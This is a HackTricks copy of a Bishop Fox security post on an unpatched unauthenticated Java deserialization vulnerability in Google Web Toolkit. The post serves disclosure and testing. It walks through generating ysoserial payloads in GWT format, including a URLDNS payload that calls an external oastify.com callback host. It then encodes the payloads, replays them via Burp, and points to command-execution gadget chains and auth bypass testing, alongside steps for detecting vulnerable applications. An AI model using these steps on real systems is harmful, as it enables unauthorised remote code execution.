# GWT - Google Web Toolkit
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Post copied from** [**https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability**](https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability)
## Introduction
How would you react if I told you that [GWT, a fairly popular open-source web application framework originally developed at Google](https://www.gwtproject.org/) contained an unauthenticated Java deserialization vulnerability that had been openly discussed in 2015 and 2020, but was still unpatched in late 2023? What if I also suggested that the vulnerability was at such a low level that securing vulnerable web applications written using this framework would likely require architectural changes to those applications or the framework itself?
If you’re anything like me, your initial reaction would be disbelief. Surely a vulnerability that could expose application owners to server-side code execution by unauthenticated attackers would have been patched less than eight years after it was discovered. If no patch had been issued, then at least the vulnerable framework features would have been marked as deprecated, and the framework documentation would provide suggestions for replacing vulnerable code with updated alternatives. At a bare minimum, the framework developers would undoubtedly have updated the “getting started” tutorials and other documentation to indicate the inherent danger of using the vulnerable features instead of highlighting the functionality.
Surprising as it may be, none of these assumptions are true. Eight years later, the vulnerability is still unpatched, and the only indications of the danger prior to this blog post were [a GitHub issue from 2020 with a “WONTFIX”-style response](https://github.com/gwtproject/gwt/issues/9709), [a few Google Groups discussions from 2015 that never led to the underlying issue being fixed](https://groups.google.com/g/google-web-toolkit/c/j36D9-11JF4/m/OZwNQgvSAgAJ), and [a blog post from 2015 that correctly suggests that the issue could be resolved by signing the serialized data](https://gwtnews.blogspot.com/2015/11/re-java-deserialization-vulnerability\_55.html), except that no such functionality was ever added to GWT. There’s actually [a blog post from 2020 that incorrectly claims that GWT is not vulnerable](https://gwtnews.blogspot.com/2020/06/re-security-vulnerabilities-with-gwt\_52.html), because it supposedly never transmits serialized Java objects over the network.
In this blog post, I’ll explain the vulnerability in GWT (originally “Google Web Toolkit”, sometimes referred to as “GWT Web Toolkit”), show you how to exploit a vulnerable GWT web application, show you how to set up an intentionally vulnerable GWT web application to test against, determine if your own GWT-based application is vulnerable, and discuss potential mitigations.
## **GWT and Enhanced Classes**
GWT allows developers to (among other things) write web applications in Java that have some logic running on the server (Tomcat, Jetty, etc.) and some in users’ web browsers. The GWT SDK generates any necessary client-side JavaScript code when the Java project is compiled. GWT includes a sort of mini-JRE written-in JavaScript for this purpose. Generally, GWT compiles custom Java objects for both the client and the server, and those objects are exchanged using a pipe-delimited text serialization format that both sides can parse. For example, the following request includes an array of `String` objects and a `CustomClass1` object, and the properties that describe those objects are represented as strings or digits:
```
POST /stockwatcher/stockPrices HTTP/1.1
…omitted for brevity…
7|0|8|http://10.1.10.161:8888/stockwatcher/|18FD06825EC4CA84A7FDA272DEDDAFBB|com.google.gwt.sample.stockwatcher.client.StockPriceService|getPrices|[Ljava.lang.String;/2600011424|com.google.gwt.sample.stockwatcher.client.CustomClass1/769391051|a|b|1|2|3|4|2|5|6|5|0|6|0|7|8|
```
**FIGURE 1** - Example GWT-RPC request with human-readable object data
However, [GWT also has a concept called “enhanced classes”](https://www.gwtproject.org/doc/latest/DevGuideServerCommunication.html#DevGuideSerializableTypes), which (at a high level) are Java objects that meet certain criteria (review the linked documentation if you’d like to understand the specifics). These enhanced classes are only processed using server-side code, but are transmitted to and from the client as part of the application state, despite being opaque to the client. You can think of this as being analogous to the ViewState in ASP.NET applications, except without support for encryption or cryptographic signatures.
When enhanced classes come into the picture, they appear in GWT requests and responses encoded using a nonstandard variation on Base64. For example, the value `rO0ABXcEAAAAAA==` in the following request:
```
POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…
7|0|9|http://10.1.2.20:8888/stockwatcher/|813E653A29B5DD147027BD9F1DDC06B1|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/658581322|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|a|b|1|2|3|4|1|5|5|6|7|6|0|0|0|8|9|cd
```
**FIGURE 2** - Example GWT-RPC request with serialized Java object
Decoding the data reveals use of the Java object serialization format (the `0xACED` header is the giveaway, and it causes the encoded version to always begin with `rO0`). However, GWT’s use of the format is slightly different than standard Java serialization. Attempting to replace the value with the output of [`ysoserial`](https://github.com/frohoff/ysoserial), for example, will cause the server to return error messages instead of deserializing the object. For example:
* `com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException`
* `java.io.EOFException`
* `java.io.StreamCorruptedException`
* “Too few tokens in RPC request”
This could lead a pen tester to believe that GWT was performing some sort of data validation before deserializing the object(s), and rejecting unexpected classes, but that assumption would be incorrect.
Making the situation even worse, if an application’s authentication or authorization code are handled within the GWT application (as opposed to a separate filter applied at the application server level, for example), then any deserialization vulnerabilities are exploitable by unauthenticated or unauthorized callers. This is because GWT deserializes request data before passing it to the associated server-side function.
## Exploiting a Vulnerable Application
If you already have a live GWT-based application to test against, you can use the steps in this section to try exploiting it. If you don’t have access to an existing application, the “Building an example vulnerable application to test against” section, below, will walk you through quickly deploying one to practice with.
First, you’ll need a deserialization payload. As I mentioned earlier in this post, GWT’s serialization is based on the Java standard format, but it uses a specific pattern that will prevent standard exploit tool output from working. Instead of the stream directly containing a single object, it begins with an integer indicating the number of fields in the stream. For each field, the stream contains a string that represents the field name, and an arbitrary object for the field value.
I didn’t find an easy way to prepend the necessary information to an object, and `ysoserial` did not seem to be actively maintained, so [I created a fork that adds the necessary features](https://github.com/BishopFox/ysoserial-bf) (and also incorporates some additional code that others have submitted for inclusion in `ysoserial`). It can generate all of the standard `ysoserial` payloads (including several that hadn’t been merged into the main branch), but adds a `--gwt` option to create those payloads formatted for use in a GWT-RPC request. The `--gwt` option requires one additional parameter, which is the field name to include in the object stream. The specific field name is generally unimportant, but some value needs to be specified for GWT to recognize the payload as valid. In the example below, the field will be named bishopfox:
```bash
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox URLDNS \
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
> gwt_urldns.bin
```
**FIGURE 3** - Generating `URLDNS` payload in GWT-RPC format
GWT-RPC uses a customized version of Base64 where the + character has been replaced with $, and the / character replaced with \_, so the next step is to encode the payload.
One can use standard Base64 operations, but replace + with $ and / with \_ (or vice-versa) in the encoded input or output. For example:
```bash
$ base64 -w0 gwt_urldns.bin \
| sed 's/+/\$/g' \
| sed 's./._.g' \
> gwt_urldns.bin.gwt_b64
```
**FIGURE 4** - Encoding example payload for use in GWT-RPC request
Of course, generation and encoding can be combined into a single command:
```bash
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox URLDNS \
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 \
| sed 's/+/\$/g' \
| sed 's./._.g' \
> gwt_urldns.bin.gwt_b64
```
**FIGURE 5** - Generating and encoding URLDNS payload
Serialized objects may also be encoded and decoded in Python by including the option `altchars=b'$_'` when calling `base64.b64encode` or `base64.b64decode`. For example:
```
$ binary_object = base64.b64decode(gwt_rpc_object, altchars=b'$_')
```
**FIGURE 6** - Encoding data in Python
As with any other suspected Java deserialization vulnerability, I suggest starting with the `ysoserial URLDNS` payload configured to load a URL based on your current Burp Suite Collaborator host name.
After generating and encoding the payload, use a tool such as Burp Suite’s Repeater module to send a modified version of the request that contains the encoded payload instead of the original value. If successful, you’ll most likely receive a response indicating that the field name was invalid:
**Request**
```
POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAXQACWJpc2hvcGZveHNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI…omitted for brevity…0AAEueHg=|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|1|2|1|2|3|4|1|5|5|6|
…omitted for brevity…
```
**Response**
```
HTTP/1.1 200 OK
…omitted for brevity…
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
…omitted for brevity…
```
**FIGURE 7** - Example of request and response
If you started out by using a `URLDNS` payload pointing to your Collaborator hostname, you should be able to validate that something requested that URL, or at least resolved the DNS name. There _are_ environments so locked down that they don’t even allow resolution of public DNS names, but they’re very uncommon.
Like any other Java deserialization vulnerability, meaningful exploitation requires a gadget chain based on classes loaded on the server. [The documentation for our customized fork of `ysoserial` includes a way to quickly generate payloads for all of its general-purpose command execution gadget chains](https://github.com/BishopFox/ysoserial-bf).
As I mentioned in the “GWT and enhanced classes” section, above, GWT deserializes requests before running any of the code in the associated GWT-RPC functions. This often means that a vulnerable GWT-RPC function can be exploited without credentials, or with low-privileged credentials, even if the GWT-RPC function requires authentication and authorization when called normally. So, if you confirm that a function is vulnerable, follow up by testing to see whether it works without authentication. If the GWT-RPC function normally requires high-privileged credentials, try sending the exploit payload using authentication data from a low-privileged account, such as signing up for a free trial of the product you’re testing.
## Building an Example Vulnerable Application to Test Against
When I originally began researching this topic, I couldn’t find any open-source projects that used GWT in a vulnerable way. The GWT example project required many manual steps to create, and the result didn’t make use of the vulnerable serialization mechanism. To make it easier to practice exploiting GWT-based applications, [I created a version of the GWT example project that not only uses binary serialization, but also includes JAR files vulnerable to several `ysoserial` gadget chains](https://github.com/BishopFox/VulnerableGWTApp).
Use the “quick start” instructions to quickly deploy a vulnerable GWT web application that can be exploited using several of the gadget chains included with the customized version of `ysoserial` discussed above.
## Is My GWT Application Vulnerable?
If you see Base64-encoded Java classes in any traffic to a GWT-based application, the application is almost certainly vulnerable.
It’s also worthwhile to check the GWT-RPC serialization policy files for the application to see if any of them contain the `@ClientFields decorator`. Every policy file containing one or more instances of the `@ClientField decorator` indicates at least one GWT-RPC method that should be vulnerable.
The serialization policy files are generated during the GWT build process. If you have access to the server-side code, search for files with `a .gwt.rpc extension`:
```bash
$ find . -type f -iname '*.gwt.rpc'
./war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc
./war/stockwatcher/458602FF7418310373EB05D1C5992BC5.gwt.rpc
```
**FIGURE 8** - Searching for GWT-RPC policy files on a server
If the design of the application results in a class that the server needs to exchange using GWT-RPC binary Java serialization, it will have an `@ClientFields decorator`, as shown below:
```bash
$ cat war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
…omitted for brevity…
```
**FIGURE 9** - Classes decorated with `@ClientFields`\
If you are conducting a zero-knowledge test of a web application, you’ll need to collect the distinct GWT-RPC strong names used by the application, then use those strong names to access the policy files. In this example request, the strong name is `259823D3B8B1029302496D0C7E009509`:
```
POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…
7|0|10|http://10.1.2.20:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
```
**FIGURE 10** - An example strong name in a GWT-RPC request
It may be more efficient to search in your intercepting proxy history for `strongName =`, which should give you a list of the GWT-generated JavaScript files that refer to the strong names, even if your actions within the web application haven’t necessarily generated traffic to the vulnerable methods. For example:
```
…omitted for brevity…
var $gwt_version = "2.10.0";
var $strongName = '259823D3B8B1029302496D0C7E009509';
…omitted for brevity…
```
**FIGURE 11** - Example of strong name reference in a GWT web application JavaScript file
Once you know the strong name(s) for the application, the policy files should be within the same directory, named using the strong name(s) with `a .gwt.rpc` extension. For example:
**Request**
```
GET /stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc HTTP/1.1
…omitted for brevity…
```
**Response**
```
HTTP/1.1 200 OK
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
…omitted for brevity…
```
**FIGURE 12** - Example of request and response
As shown above, the policy file for that strong name contains two classes with the `@ClientFields decorator`.
This is a great way to build a checklist of traffic to watch for while using the application. If you’ve tested all the features you know of and still haven’t seen one or more of them in use, you’ll need to either dig into the source code or consider manually constructing requests for any remaining GWT-RPC methods. The GWT-RPC serialization protocol is complicated, so this post will not provide instructions for manually crafting requests, but [Brian Slesinsky wrote up a good guide to the protocol in 2012](https://docs.google.com/document/d/1eG0YocsYYbNAtivkLtcaiEE5IOF5u4LUol8-LL0TIKU/edit) that you can refer to if you’d like to pursue that option.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.